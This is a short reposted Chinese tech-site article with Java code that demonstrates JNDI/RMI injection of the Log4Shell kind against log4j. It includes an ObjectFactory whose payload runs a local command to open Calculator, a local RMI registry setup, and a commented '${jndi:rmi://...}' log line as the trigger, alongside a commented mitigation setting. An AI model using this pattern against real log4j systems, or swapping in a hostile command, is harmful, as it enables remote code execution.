栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java jndi

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java jndi

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class TestCommand implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        InputStream in = new BufferedInputStream(Runtime.getRuntime().exec("open -na Calculator").getInputStream());
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        StringBuilder result = new StringBuilder();
        while ((lineStr = reader.readLine()) != null)
            result.append(lineStr).append("n");
        reader.close();
        in.close();
        System.out.println(result);
        return null;
    }
}
测试类
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiTest {

    private static final Logger logger = LogManager.getLogger(RmiTest.class);

    public static void main(String[] args) throws Exception {
        // 设置系统环境变量进行紧急修复
        //        System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "True");

        // 开启监听 1099 端口,注册调用calc触发打开计算器
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("com.jz.demo.rmi.TestCommand",
            "com.jz.demo.rmi.TestCommand", null);
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        registry.bind("test", refObjWrapper);

        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/test");
        // 这种方式执行将触发上面的 TestCommand 类执行
//        logger.error("执行:{}", "${jndi:rmi://127.0.0.1:1099/test}");
    }

}
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/658615.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号